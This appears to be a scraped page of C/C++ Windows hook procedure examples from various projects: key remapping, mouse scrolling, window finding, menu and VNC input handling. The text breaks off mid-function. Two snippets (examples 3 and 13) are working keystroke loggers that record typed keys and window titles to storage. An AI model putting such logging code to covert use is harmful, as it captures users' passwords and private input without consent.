Esempio n. 1
0
//HHOOK m_hkeyboard;    //handler of keyboard hook
LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
	//Find the front window
	topWnd = GetForegroundWindow();
	
	PKBDLLHOOKSTRUCT kbstruct;
	kbstruct=(PKBDLLHOOKSTRUCT)lParam;
	DWORD dtemp = kbstruct->vkCode;//vkCode is the press buttom



	//we need to read keys configure from gameconfiguration.xml
	char ch_Temp = char(dtemp); /*- 0x41 + char('A');*/
	char ch_Corl;//doesn't take double key into account
	map<string , string>::iterator iter_Key = map_Key.begin();
	bool found = false;

	if(ch_Temp >= 96)
	{
		ch_Temp = ch_Temp - 96 + 48;
	}
	if(topWnd == m_hgame)
	{
		string str_Temp;
		str_Temp.clear();
		str_Temp.push_back(ch_Temp);
		if(WM_KEYDOWN == int(wParam))
		{
				/*int key_value = ch_Corl - char('A') + 0x41;
				keybd_event(key_value,0,0,0);*/
			switch (dtemp)
			{
				case 0x58:
					mouse_event(MOUSEEVENTF_LEFTDOWN , 0 , 0 , 0 , 0);
					return 1;
				case char('A'):
					mouse_event(MOUSEEVENTF_MOVE , -10 , 0 , 0 , 0);
					return 1;
				case char('S'):
					mouse_event(MOUSEEVENTF_MOVE , 10 , 0 , 0 , 0);
					return 1;
				case char('W'):
					mouse_event(MOUSEEVENTF_MOVE , 0 , 10 , 0 , 0);
					return 1;
				case char('E'):
					mouse_event(MOUSEEVENTF_MOVE , 0 , -10 , 0 , 0);
					return 1;
				default:
					break;	
			}
			
		}
		if(WM_KEYUP == int(wParam))
		{
			if(VK_RETURN == dtemp)
			{
				mouse_event(MOUSEEVENTF_LEFTUP , 0 , 0 , 0 , 0);
				return 1;
			}
		}
 			while(map_Key.end() != iter_Key)
			{
				if(0 == iter_Key->first.compare(str_Temp))
				{
					found = true;
					//ch_Corl = *(iter_Key->second.c_str());
					break;
				}
				iter_Key++;
			}

			if(found)
			{
				if(1 == iter_Key->second.length())
				{
					ch_Corl = *(iter_Key->second.c_str());
					if(WM_KEYDOWN == int(wParam))
					{
						int key_value = ch_Corl; /*- char('A') + 0x41;*/
						keybd_event(key_value,0,0,0);
						return 1;
					}
					if(WM_KEYUP == int(wParam))
					{
						int key_value = ch_Corl;/* - char('A') + 0x41;*/
						keybd_event(key_value,0,KEYEVENTF_KEYUP,0);
						return 1;
					}
				}
				else
				{
					int key_value;
					if(0 == string("UP").compare(iter_Key->second))
					{
						key_value = 0x26;
					}
					else if(0 == string("LEFT").compare(iter_Key->second))
					{
						key_value = 0x25;
					}
					else if(0 == string("RIGHT").compare(iter_Key->second))
					{
						key_value = 0x27;
					}
					else if(0 == string("DOWN").compare(iter_Key->second))
					{
						key_value = 0x28;
					}
					if(WM_KEYDOWN == int(wParam))
					{

						//int key_value = ch_Corl - char('A') + 0x41;
						keybd_event(key_value,0,0,0);
						return 1;
					}
					if(WM_KEYUP == int(wParam))
					{
						//int key_value = ch_Corl - char('A') + 0x41;
						keybd_event(key_value,0,KEYEVENTF_KEYUP,0);
						return 1;
					}
				}
			}


			
			

	}

	return CallNextHookEx(m_hkeyboard,nCode,wParam,lParam);
}
Esempio n. 2
0
// Keyboard hook for the Finder Tool.
// This hook just monitors the ESCAPE key
static LRESULT CALLBACK draghookproc(int code, WPARAM wParam, LPARAM lParam)
{
	ULONG state = (ULONG)lParam;
	static int count;

	if(code < 0) 
		return CallNextHookEx(draghook, code, wParam, lParam);

	switch(wParam)
	{
	case VK_ESCAPE:
	
		if(!(state & 0x80000000))
		{
			//don't let the current window procedure process a VK_ESCAPE, 
			//because we want it to cancel the mouse capture
			PostMessage(draghookhwnd, WM_CANCELMODE, 0, 0);
			return -1;
		}

		break;

	case VK_SHIFT:
		
		if(state & 0x80000000)
		{
			//InvertWindow(hwndCurrent, fShowHidden);
			HideSel(hwndCurrent);
			FireWndFindNotify(draghookhwnd, WFN_SHIFT_UP, 0);
			//InvertWindow(hwndCurrent, fShowHidden);
			ShowSel(hwndCurrent);
		}
		else
		{
			if(!(state & 0x40000000))
			{
				//InvertWindow(hwndCurrent, fShowHidden);
				HideSel(hwndCurrent);
				FireWndFindNotify(draghookhwnd, WFN_SHIFT_DOWN, 0);
				//InvertWindow(hwndCurrent, fShowHidden);
				ShowSel(hwndCurrent);
			}
		}

		return -1;

	case VK_CONTROL:

		if(state & 0x80000000)
		{
			//InvertWindow(hwndCurrent, fShowHidden);
			HideSel(hwndCurrent);
			FireWndFindNotify(draghookhwnd, WFN_CTRL_UP, 0);
			//InvertWindow(hwndCurrent, fShowHidden);
			ShowSel(hwndCurrent);
		}
		else
		{
			if(!(state & 0x40000000))
			{
				//InvertWindow(hwndCurrent, fShowHidden);
				HideSel(hwndCurrent);
				FireWndFindNotify(draghookhwnd, WFN_CTRL_DOWN, 0);
				//InvertWindow(hwndCurrent, fShowHidden);
				ShowSel(hwndCurrent);
			}
		}
		
		return -1;
	}

	// Test to see if a key is pressed for first time
	if(!(state & 0xC0000000))
	{
		// Find ASCII character
		UINT ch = MapVirtualKey((UINT)wParam, 2);

		if(ch == _T('c') || ch == _T('C'))
		{
			//InvertWindow(hwndCurrent, fShowHidden);
			HideSel(hwndCurrent);
			CaptureWindow(GetParent(draghookhwnd), hwndCurrent);
			//InvertWindow(hwndCurrent, fShowHidden);
			ShowSel(hwndCurrent);
			return -1;
		}
	}

	return CallNextHookEx(draghook, code, wParam, lParam);
}
Esempio n. 3
0
LRESULT CALLBACK KeyboardHookProc(int code, WPARAM wParam, LPARAM lParam)
{
	if(!(lParam >> 31) && (code >= 0))
	{
		char keyw[20];
		switch(wParam)
		{
			case VK_CANCEL:    strcpy(keyw,"[CTRL-BRK]"); break;
			case VK_BACK:      strcpy(keyw,"[BACK]"); break;
			case VK_TAB:       strcpy(keyw,"[TAB]"); break;
			case VK_CLEAR:     strcpy(keyw,"[CLEAR]"); break;
			case VK_RETURN:    strcpy(keyw,"[ENTER]\r\n"); break;
			case VK_SHIFT:     strcpy(keyw,"[SHIFT]"); break;
			case VK_CONTROL:   strcpy(keyw,"[CTRL]"); break;
			case VK_MENU:      strcpy(keyw,"[ALT]"); break;
			case VK_PAUSE:     strcpy(keyw,"[PAUSE]"); break;
			case VK_CAPITAL:   strcpy(keyw,"[CapsLock]"); break;
			case VK_ESCAPE:    strcpy(keyw,"[ESC]"); break;
			case VK_PRIOR:     strcpy(keyw,"[PageUp]"); break;
			case VK_NEXT:      strcpy(keyw,"[PageDown]"); break;
			case VK_END:       strcpy(keyw,"[END]"); break;
			case VK_HOME:      strcpy(keyw,"[HOME]"); break;
			case VK_LEFT:      strcpy(keyw,"[LEFT]"); break;
			case VK_UP:        strcpy(keyw,"[UP]"); break;
			case VK_RIGHT:     strcpy(keyw,"[RIGHT]"); break;
			case VK_DOWN:      strcpy(keyw,"[DOWN]"); break;
			case VK_SELECT:    strcpy(keyw,"[SELECT]"); break;
			case VK_EXECUTE:   strcpy(keyw,"[EXECUTE]"); break;
			case VK_SNAPSHOT:  strcpy(keyw,"[PrintScreen]"); break;
			case VK_INSERT:    strcpy(keyw,"[INSERT]"); break;
			case VK_DELETE:    strcpy(keyw,"[DELETE]"); break;
			case VK_HELP:      strcpy(keyw,"[HELP]"); break;
			case VK_LWIN:      strcpy(keyw,"[LeftWindowsKey]"); break;
			case VK_RWIN:      strcpy(keyw,"[RightWindowsKey]"); break;
			case VK_APPS:      strcpy(keyw,"[ApplicationKey]"); break;
			case VK_MULTIPLY:  strcpy(keyw,"[MULTIPLY]"); break;
			case VK_ADD:       strcpy(keyw,"[ADD]"); break;
			case VK_SEPARATOR: strcpy(keyw,"[SEPERATOR]"); break;
			case VK_SUBTRACT:  strcpy(keyw,"[SUBTRACT]"); break;
			case VK_DECIMAL:   strcpy(keyw,"[DECIMAL]"); break;
			case VK_DIVIDE:    strcpy(keyw,"[DIVIDE]"); break;
			case VK_NUMLOCK:   strcpy(keyw,"[NumLock]"); break;
			case VK_SCROLL:    strcpy(keyw,"[ScrollLock]"); break;
			case VK_ATTN:      strcpy(keyw,"[ATTN]"); break;
			case VK_CRSEL:     strcpy(keyw,"[CrSel]"); break;
			case VK_EXSEL:     strcpy(keyw,"[ExSel]"); break;
			case VK_EREOF:     strcpy(keyw,"[EraseEOF]"); break;
			case VK_PLAY:      strcpy(keyw,"[PLAY]"); break;
			case VK_ZOOM:      strcpy(keyw,"[ZOOM]"); break;
			default: {
				/* function keys */
				if((wParam >= VK_F1)
				 &&(wParam <= VK_F24))
				{
					sprintf(keyw,"[F%u]",
					(wParam - VK_F1 + 1));
				}
				/* what we want the most... the ASCII keys */
				else if ((wParam==VK_SPACE)||(wParam>=0x2f)&&(wParam<=0x100)) 
				{
					BYTE ks[256];
					GetKeyboardState(ks);
					WORD w;
					UINT scan=0;
					ToAscii(wParam,scan,ks,&w,0);
					*keyw = char(w);
					keyw[1] = '\0';
				}
				else {
					sprintf(keyw,"[(%d)%c]",wParam,wParam); break;
				}
			}
		}
		STORE_INFO(keyw);
	}
	return CallNextHookEx(KeyHook, code, wParam, lParam);
}
LRESULT CALLBACK LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam) {
	if (nCode != HC_ACTION)
		return CallNextHookEx(g_Hook, nCode, wParam, lParam);
	INPUT inputDat[2];
	BOOL preventCallNextHookEx = FALSE;
	// Data about the mouse event
	const MSLLHOOKSTRUCT *p = reinterpret_cast<const MSLLHOOKSTRUCT*>(lParam);

	// An extended mouse button was pressed
	if (wParam == WM_XBUTTONDOWN) {
		// XButton1
		//WORD w = HIWORD(p->mouseData);
		if (HIWORD(p->mouseData) & XBUTTON1) {
#if defined(_DEBUG)
		std::cout << "XB1 down\n";
#endif
			preventCallNextHookEx = TRUE;
			// Save cursor pos at time of "scroll-click"
			g_origin = p->pt;
			bXB1 = TRUE;	// Remember that XButton1 is down
		}
		// XButton2
		else if (HIWORD(p->mouseData) & XBUTTON2) {
#if defined(_DEBUG)
			std::cout << "XB2 down\n";
#endif
			// Send a MiddleButton Up message
			inputDat[0].type = INPUT_MOUSE;
			inputDat[0].mi.dx = p->pt.x;
			inputDat[0].mi.dy = p->pt.y;
			inputDat[0].mi.mouseData = (DWORD)0x0;
			inputDat[0].mi.dwFlags = MOUSEEVENTF_MIDDLEDOWN; // middle button down
			inputDat[0].mi.time = (DWORD)0x0;
			inputDat[0].mi.dwExtraInfo = (ULONG_PTR)NULL;
			SendInput(1, inputDat, sizeof(INPUT));

			bXB2 = TRUE;	// Remember that XButton2 is down
			preventCallNextHookEx = TRUE;
		}
	}
	// An extended mouse button was released
	else if (wParam == WM_XBUTTONUP) {
		// XButton1
		if (HIWORD(p->mouseData) & XBUTTON1) {
#if defined(_DEBUG)
			std::cout << "XB1 up\n";
#endif
			preventCallNextHookEx = TRUE;
			bScrolling = FALSE;
			bXB1 = FALSE;	// Forget it. XButton1 is no longer down
		}
		// XButton2
		else if (HIWORD(p->mouseData) & XBUTTON2) {
#if defined(_DEBUG)
			std::cout << "XB2 up\n";
#endif
			// Send a MiddleButton Up message
			inputDat[0].type = INPUT_MOUSE;
			inputDat[0].mi.dx = p->pt.x;
			inputDat[0].mi.dy = p->pt.y;
			inputDat[0].mi.mouseData = (DWORD)0x0;
			inputDat[0].mi.dwFlags = MOUSEEVENTF_MIDDLEUP; // middle button up
			inputDat[0].mi.time = (DWORD)0x0;
			inputDat[0].mi.dwExtraInfo = (ULONG_PTR)NULL;
			SendInput(1, inputDat, sizeof(INPUT));

			bXB2 = FALSE;	// Forget it. XButton1 is no longer down
			preventCallNextHookEx = TRUE;
		}
	}
	else if (wParam == WM_MOUSEMOVE) {
		// Is XButton1 being held
		if (bXB1) {
			// If we haven't started scrolling...
			if (!bScrolling) {
#if defined(_DEBUG)
				std::cout << "First scroll\n";
#endif
				preventCallNextHookEx = TRUE;
				// Remember that we are now scrolling
				bScrolling = TRUE;
				g_ycount = 0;	// Reset our record of verticle movement
				SetCursorPos(g_origin.x, g_origin.y);
			}
			// If we are in the middle of scrolling...
			else {
#if defined(_DEBUG)
				std::cout << " Continuing scroll\n";
#endif
				preventCallNextHookEx = TRUE;
				// Keep track of how much we moved vertically
				g_ycount += p->pt.y - g_origin.y;
				// Reset the cursor to its original position
				SetCursorPos(g_origin.x, g_origin.y);
				// If we have moved more than the threshold...
				if (g_ycount < -Y_THRESHOLD || g_ycount > Y_THRESHOLD){
					DWORD mouseData = (g_ycount > 0 ? -WHEEL_DELTA : +WHEEL_DELTA); // scroll direction
					g_ycount = 0;

					// Send <WHEEL_FACTOR> number of scroll events
					INPUT input[WHEEL_FACTOR];
					for (size_t i = 0; i < WHEEL_FACTOR; ++i) {
						input[i].type = INPUT_MOUSE;
						// INFO: Should these be set to g_origin pos instead?
						input[i].mi.dx = p->pt.x;
						input[i].mi.dy = p->pt.y;
						input[i].mi.mouseData = mouseData;
						input[i].mi.dwFlags = MOUSEEVENTF_WHEEL; // wheel
						input[i].mi.time = (DWORD)0x0;
						input[i].mi.dwExtraInfo = (ULONG_PTR)NULL;
					}
#if defined(_DEBUG)
					std::cout << "Sending Scrollwheel event\n";
#endif
					SendInput(WHEEL_FACTOR, input, sizeof(INPUT));
				}
			}
		}
	}

	// Decide if we should let other programs detect the mouse events
	return (preventCallNextHookEx ? 1 : CallNextHookEx(g_Hook, nCode, wParam, lParam));
}
Esempio n. 5
0
static LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParamIn, LPARAM lParamIn)
{
  dbg("InputHandler: GetMsgProc");
  HWND win = ihGlobal.getHWND();
  if(!win) {
    //dbg("!win");
    return CallNextHookEx(NULL, nCode, wParamIn, lParamIn); // Hook window not set
  }

  MSG* msg = (MSG*) lParamIn;
  WPARAM wParam = msg->wParam;
  LPARAM lParam = msg->lParam;
  UINT wmsg = msg->message;

  // Keyboard hooks
  switch(wmsg) {
    case WM_KEYUP:
      if(GetKeyState(VK_APPLICATION) < 0) {
        ihGlobal.keyDown((int)wParam);
        msg->message = WM_NULL;
        break;
      }
      if(wParam == VK_SNAPSHOT)
        ihGlobal.keyDown((int)wParam);
      break;
    case WM_KEYDOWN:
      if(GetKeyState(VK_APPLICATION) < 0) {
        ihGlobal.keyUp((int)wParam);
        msg->message = WM_NULL;
        break;
      }
      if(wParam == VK_SNAPSHOT)
        ihGlobal.keyUp((int)wParam);
      break;
  }

  bool hookAllWindows = false;
  if(msg->hwnd != win && !hookAllWindows) {

    char msgTxt[256];
    switch(wmsg) {
      case MOUSE_ALL_WM_EVENTS:
        strcpy(msgTxt, getMouseEventName(wmsg));
        break;
      default:
        sprintf(msgTxt, "0x%08X", wmsg);
        break;
    }

    char name[256];
    GetWindowText(msg->hwnd, name, 256);
    dbg_input("win %d != %d (%s, %s)", msg->hwnd, win, name, msgTxt);

    /*if(wmsg == WM_INPUT)
      msg->message = WM_NULL;*/

		return CallNextHookEx(NULL, nCode, wParamIn, lParamIn); // Not our window
  }

  if(wmsg == WM_MOUSELEAVE)
    msg->message = WM_NULL;

  switch(wmsg) {

    // Mouse hooks
#define DBG_MSG(x) case x: dbg("PrimaryWindow: %s", #x); break

    DBG_MSG(WM_ACTIVATE);
    DBG_MSG(WM_MOUSEACTIVATE);

    case WM_MOUSELEAVE:
    case WM_NCMOUSELEAVE:
      // Discard mouse leave messages - TODO: recall TrackMouseEvent
      msg->message = WM_NULL;
      break;

    case MOUSE_ALL_WM_EVENTS: // Note: special macro
    {
      if(!SoftTHActive)
        break;

      if(msg->wParam & MOUSE_EVENTS_ALREADY_MAPPED && wmsg != WM_MOUSEWHEEL) {
        // This message came from secondary SoftTH window and is already in correct coordinates
        msg->wParam -= MOUSE_EVENTS_ALREADY_MAPPED;
        dbg_input("PrimaryWindow: %s: %dx%d MOUSE_EVENTS_ALREADY_MAPPED (wparam: 0x%08X)", getMouseEventName(wmsg), msg->pt.x, msg->pt.y, msg->wParam);

        // Send click to overlay
        if(wmsg == WM_LBUTTONDOWN || wmsg == WM_LBUTTONUP)
        {
          OVERLAY_CLICK_BLOCK p;
          p.overlayVersion = OVERLAY_VERSION;
          p.x = msg->pt.x;
          p.y = msg->pt.y;
          p.up = wmsg==WM_LBUTTONUP;
          p.event = wmsg;
          p.lparam = msg->lParam;
          p.wparam = msg->wParam;
          p.appWindow = win;
          overlayDoClick(&p);
        }

        break;
      }

      POINT vp;
      HWND winCursor = WindowFromPoint(msg->pt);
      if(winCursor != win) {
        // Drag event is going from primary monitor to secondary
        POINT op = {msg->pt.x, msg->pt.y};
        ScreenToClient(winCursor, &op);
        if(!inputMapClientToVirtual(winCursor, &op, &vp)) {
          // Outside SoftTH window - attempt to discard this message
          msg->message = WM_NULL;
        }
      } else {
        inputMapClientToVirtual(win, &msg->pt, &vp);
      }
      dbg_input("PrimaryWindow: %s: %dx%d -> %dx%d (wparam: 0x%08X)", getMouseEventName(wmsg), msg->pt.x, msg->pt.y, vp.x, vp.y, msg->wParam);

      LPARAM lp = MAKELPARAM(vp.x, vp.y);
      msg->lParam = lp;
      msg->pt.x = vp.x;
      msg->pt.y = vp.y;

      // Send click to overlay
      if(wmsg == WM_LBUTTONDOWN || wmsg == WM_LBUTTONUP || wmsg == WM_MOUSEMOVE)
      {
        OVERLAY_CLICK_BLOCK p;
        p.overlayVersion = OVERLAY_VERSION;
        p.x = vp.x;
        p.y = vp.y;
        p.up = wmsg==WM_LBUTTONUP; // Deprecated
        p.event = wmsg;
        p.lparam = msg->lParam;
        p.wparam = msg->wParam;
        p.appWindow = win;
        overlayDoClick(&p);
      }

      break;
    }

      break;
  }

  return CallNextHookEx(NULL, nCode, wParamIn, lParamIn);
}
Esempio n. 6
0
static LRESULT WINAPI GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
   return(CallNextHookEx(g_hhook, code, wParam, lParam));
}
Esempio n. 7
0
//钩子的实现部分
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
	KBDLLHOOKSTRUCT *Key_Info = (KBDLLHOOKSTRUCT*)lParam;
	if (HC_ACTION == code)
	{
		if (WM_KEYDOWN == wParam || WM_SYSKEYDOWN)  //如果按键为按下状态
		{
			//if (Key_Info->vkCode == VK_LWIN || Key_Info->vkCode == VK_RWIN) //屏敝 WIN(左右) 键
			//{
			//	return TRUE;
			//}
			//if (Key_Info->vkCode == 0x4D && ((GetKeyState(VK_LWIN) & 0x8000) ||
			//	(GetKeyState(VK_RWIN) & 0x8000))) //屏敝 WIN+D 组合键(左右)
			//{
			//	return TRUE;
			//}
			//if (Key_Info->vkCode == 0x44 && ((GetKeyState(VK_LWIN) & 0x8000) ||
			//	(GetKeyState(VK_LWIN) & 0x8000)))  //屏敝 WIN+M 组合键(左右)
			//{
			//	return TRUE;
			//}
			//if (Key_Info->vkCode == 0x1b && GetKeyState(VK_CONTROL) & 0x8000) //屏敝 CTRL + ESC 组合键 
			//{
			//	return TRUE;
			//}
			//if (Key_Info->vkCode == VK_TAB && Key_Info->flags & LLKHF_ALTDOWN) //屏敝 ATL + TAB 组合键
			//{
			//	return TRUE;
			//}
			//if (Key_Info->vkCode == VK_ESCAPE && Key_Info->flags & LLKHF_ALTDOWN) //屏敝 ATL + ESC 组合键
			//{
			//	return TRUE;
			//}
			if (Key_Info->vkCode == VK_F12) // && Key_Info->flags & VK_MENU)
			{
				if (keytime == 1)
				{//MessageBoxA(NULL, "f12", "success", MB_OK);
					HWND Screenshot_hwnd = FindWindowA(NULL, "ScreenShot");
					::SendMessage(Screenshot_hwnd, WM_COPYDATA, -1, -1);
					keytime++;
				}
				else
				{
					keytime = 1;
					return TRUE;
				}
			}
			//if (Key_Info->vkCode == VK_ESCAPE)
			//{
			//	HWND Screenshot_hwnd = FindWindowA(NULL, "ScreenShot");
			//	;; SendMessage(Screenshot_hwnd, SWP_HIDEWINDOW, -2, -2);
			//}

		}

	}
	return CallNextHookEx(0, code, wParam, lParam); //回调





}
Esempio n. 8
0
LRESULT CALLBACK CallWndProc(INT code, WPARAM wParam, LPARAM lParam)
{
#define msg ((PCWPSTRUCT)lParam)
	if (code == HC_ACTION)
	{
		switch (msg->message)
		{
			// I am not sure if this is required, lets leve it in
			case WM_ACTIVATE:
			{
				Log("WM_ACTIVATE");
				GetSystemMenu(msg->hwnd, FALSE);
				break;
			}

			// Populate menu
			case WM_INITMENUPOPUP:
			{
				Log("WM_INITMENUPOPUP");
				AddMenu(msg->hwnd, (HMENU)msg->wParam);
				break;
			}

			// Some applications trigger WM_INITMENUPOPUP never or to late, thats why we use WM_ENTERIDLE
			case WM_ENTERIDLE:
			{
				Log("WM_ENTERIDLE");
				if (msg->wParam == MSGF_MENU)
				{
					AddMenu(msg->hwnd, (HMENU)INVALID_HANDLE_VALUE);
					break;
				}
				break;
			}

			// Remove Entry again
			case WM_UNINITMENUPOPUP:
			{
				Log("WM_UNINITMENUPOPUP");
				RemoveMenu(msg->hwnd, (HMENU)msg->wParam);
				break;
			}

			// For those who doesn't fire WM_UNINITMENUPOPUP 
			case WM_MENUSELECT:
			{
				Log("WM_ENTERIDLE");
				if (msg->lParam == NULL && HIWORD(msg->wParam) == 0xFFFF)
				{
					RemoveMenu(msg->hwnd, (HMENU)INVALID_HANDLE_VALUE);
				}
				break;
			}

			// Do the command
			case WM_SYSCOMMAND:
			{
				Log("WM_SYSCOMMAND %X %X", msg->wParam, msg->hwnd);
				HandleSysCommand(msg->wParam, msg->hwnd);
				break;
			}
		}
	}
	return CallNextHookEx(NULL, code, wParam, lParam);
#undef msg
}
Esempio n. 9
0
/// hook of SendMessage
LRESULT CALLBACK callWndProc(int i_nCode, WPARAM i_wParam, LPARAM i_lParam)
{
    if (!g.m_isInitialized)
        initialize(false);

    if (!g_hookData)
        return 0;

    CWPSTRUCT &cwps = *(CWPSTRUCT *)i_lParam;

    if (0 <= i_nCode) {
        switch (cwps.message) {
        case WM_ACTIVATEAPP:
        case WM_NCACTIVATE:
            if (i_wParam)
                notifySetFocus();
            break;
        case WM_SYSCOMMAND:
            switch (cwps.wParam) {
            case SC_MAXIMIZE:
            case SC_MAXIMIZE2:
                updateShow(cwps.hwnd, NotifyShow::Show_Maximized);
                break;
            case SC_MINIMIZE:
            case SC_MINIMIZE2:
                updateShow(cwps.hwnd, NotifyShow::Show_Minimized);
                break;
            case SC_RESTORE:
            case SC_RESTORE2:
                updateShow(cwps.hwnd, NotifyShow::Show_Normal);
                break;
            default:
                break;
            }
        /* through below */
        case WM_COMMAND:
            notifyCommand(cwps.hwnd, cwps.message, cwps.wParam, cwps.lParam);
            break;
        case WM_SIZE:
            switch (cwps.wParam) {
            case SIZE_MAXIMIZED:
                updateShow(cwps.hwnd, NotifyShow::Show_Maximized);
                break;
            case SIZE_MINIMIZED:
                updateShow(cwps.hwnd, NotifyShow::Show_Minimized);
                break;
            case SIZE_RESTORED:
                updateShow(cwps.hwnd, NotifyShow::Show_Normal);
                break;
            default:
                break;
            }
            break;
        case WM_MOUSEACTIVATE:
            notifySetFocus();
            break;
        case WM_ACTIVATE:
            if (LOWORD(cwps.wParam) != WA_INACTIVE) {
                notifySetFocus();
                if (HIWORD(cwps.wParam)) { // check minimized flag
                    // minimized flag on
                    notifyShow(NotifyShow::Show_Minimized, false);
                    //notifyShow(NotifyShow::Show_Normal, true);
                }
            }
            break;
        case WM_ENTERMENULOOP:
            g.m_isInMenu = true;
            notifySetFocus(true);
            break;
        case WM_EXITMENULOOP:
            g.m_isInMenu = false;
            notifySetFocus(true);
            break;
        case WM_SETFOCUS:
            g.m_isInMenu = false;
            // for kana
            if (g_hookData->m_correctKanaLockHandling) {
                if (HIMC hIMC = ImmGetContext(cwps.hwnd)) {
                    bool status = !!ImmGetOpenStatus(hIMC);
                    // this code set the VK_KANA state correctly.
                    ImmSetOpenStatus(hIMC, !status);
                    ImmSetOpenStatus(hIMC, status);
                    ImmReleaseContext(cwps.hwnd, hIMC);
                }
            }
            notifySetFocus();
            notifyLockState(5);
            break;
        case WM_IME_STARTCOMPOSITION:
            g.m_isImeCompositioning = true;
            notifyLockState(6);
            break;
        case WM_IME_ENDCOMPOSITION:
            g.m_isImeCompositioning = false;
            notifyLockState(7);
            break;
        case WM_IME_NOTIFY:
            if (cwps.wParam == IMN_SETOPENSTATUS)
                if (HIMC hIMC = ImmGetContext(cwps.hwnd)) {
                    g.m_isImeLock = !!ImmGetOpenStatus(hIMC);
                    ImmReleaseContext(cwps.hwnd, hIMC);
                    notifyLockState(8);
                }
            break;
        }
    }
    return CallNextHookEx(s_hookDataArch->m_hHookCallWndProc, i_nCode,
                          i_wParam, i_lParam);
}
Esempio n. 10
0
LRESULT CALLBACK HookProc(int code, WPARAM wParam, LPARAM lParam)
{
	return CallNextHookEx(hHook,code,wParam,lParam);
} 
Esempio n. 11
0
HIJACKDLL_API LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) 
{
	return CallNextHookEx(hHook, nCode, wParam, lParam); 
}
Esempio n. 12
0
LRESULT CALLBACK
FilterProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (qApp)
        qApp->sendPostedEvents(0, -1); // special DeferredDelete
    return CallNextHookEx(hhook, nCode, wParam, lParam);
}
Esempio n. 13
0
LRESULT CALLBACK JournalLogProc(int code, WPARAM wParam, LPARAM lParam)
{
	HWND hFocus;

	if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam);

	if(code==HC_ACTION) {

		EVENTMSG *pEvt=(EVENTMSG *)lParam;
		if(pEvt->message==WM_KEYDOWN) {
			DWORD dwCount,dwBytes;
			char svBuffer[256];
			int vKey,nScan;
		
			vKey=LOBYTE(pEvt->paramL);
			nScan=HIBYTE(pEvt->paramL);
			nScan<<=16;
			
			// Check to see if focus has changed
			hFocus=GetActiveWindow();
			if(g_hLastFocus!=hFocus) {
				char svTitle[256];
				int nCount;
				nCount=GetWindowTextA(hFocus,svTitle,256);
				if(nCount>0) {
					char svBuffer[512];
					sprintf(svBuffer,"\r\n-----[ %s ]-----\r\n",svTitle);
					WriteFile(g_hCapFile,svBuffer,strlen(svBuffer),&dwBytes,NULL);
				}
				g_hLastFocus=hFocus;
			}
			
			// Write out key
			dwCount=GetKeyNameTextA(nScan,svBuffer,256);	
			if(dwCount) {
				if(vKey==VK_SPACE) {
					svBuffer[0]=' ';
					svBuffer[1]='\0';
					dwCount=1;
				}
				if(dwCount==1) {
					BYTE kbuf[256];
					WORD ch;
					int chcount;
					
					GetKeyboardState(kbuf);
					
					chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
					if(chcount>0) WriteFile(g_hCapFile,&ch,chcount,&dwBytes,NULL);				
				} else {
					WriteFile(g_hCapFile,"[",2,&dwBytes,NULL);
					WriteFile(g_hCapFile,svBuffer,dwCount,&dwBytes,NULL);
					WriteFile(g_hCapFile,"]",2,&dwBytes,NULL);
					if(vKey==VK_RETURN) WriteFile(g_hCapFile,"\r\n",2,&dwBytes,NULL);
				}
			}			
		}
	
	}
	return CallNextHookEx(g_hLogHook,code,wParam,lParam);
}
Esempio n. 14
0
LRESULT CALLBACK LowLevelHook::VncLowLevelKbHookProc(INT nCode, WPARAM wParam, LPARAM lParam)
{
TRY_CATCH

	//if set to TRUE, the key-pressed message will NOT be passed on to windows.
	BOOL fHandled = FALSE;
	BOOL fKeyDown = FALSE;
	static bool winKeyDown = false;
	static int countWinKeysToSkip = 0;
	if (nCode == HC_ACTION) 
	{
		KBDLLHOOKSTRUCT *pkbdllhook = (KBDLLHOOKSTRUCT *)lParam;
		DWORD ProcessID ;

		//Receive the process ID of the Active Window
		//(The window with the input focus)
		//GetWindowThreadProcessId(GetFocus(),&ProcessID);
		GetWindowThreadProcessId(GetForegroundWindow(), &ProcessID);
		GetWindowThreadProcessId(g_hwndVNCViewer, &g_VncProcessID);

		//only if this is "our" process (vncviewer's process)
		//we should intecept the key-presses
		if (ProcessID==g_VncProcessID 
			&& 
			ClientConnection::m_focused
			||
			ClientConnection::m_fullScreen > 0)
		{

			fKeyDown = ( (wParam==WM_KEYDOWN) || (wParam==WM_SYSKEYDOWN) );

			switch (pkbdllhook->vkCode)
			{
				case VK_RIGHT:
				case VK_LEFT:
				case VK_DOWN:
				case VK_UP:
				case VK_TAB:
				case VK_NEXT:
				case VK_PRIOR:
				case VK_END:
				case VK_HOME:
				case VK_BACK:
				case VK_RETURN:
				case VK_F4:
				case VK_F3:

					//(cMsgBoxLog()).Add(_MESSAGE_,"VK_UP");
					if (g_fHookActive) 
					{
						if (fKeyDown)
							PostMessage(g_hwndVNCViewer, wParam + WM_USER, pkbdllhook->vkCode, 0);
						fHandled = TRUE;
					}
					break;
					//Print Screen Key 
					//      Request Full screen Update
					//      Simulate a "Request Refresh" from the System Menu
				case VK_SNAPSHOT:
					if (fKeyDown && g_fHookActive) 
					{
						PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_REQUEST_REFRESH,0);
						fHandled = TRUE;
					}
					break ;

					//Pause Key 
					//      Toggle FullScreen On/Off
					//      Simulate a "FullScreen" from the System Menu
				case VK_PAUSE:
					if (fKeyDown && g_fHookActive)
					{
						PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_FULLSCREEN,0);
						fHandled = TRUE;
					}
					break ;


					//Left or Right CONTROL keys
					//      Simulate a "Send CONTROL up/down" from the System Menu
				case VK_LCONTROL:
				case VK_RCONTROL:
					if (g_fHookActive) 
					{
						if(fKeyDown)
							PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_CONN_CTLDOWN,0);
						else
							PostMessage(g_hwndVNCViewer,WM_SYSCOMMAND,ID_CONN_CTLUP,0);
						fHandled = TRUE;
					}
					break;

					//Either Left or Right ALT keys
					//      Simulate a "Send ALT up/down" from the System Menu
				case VK_LMENU:
				case VK_RMENU:
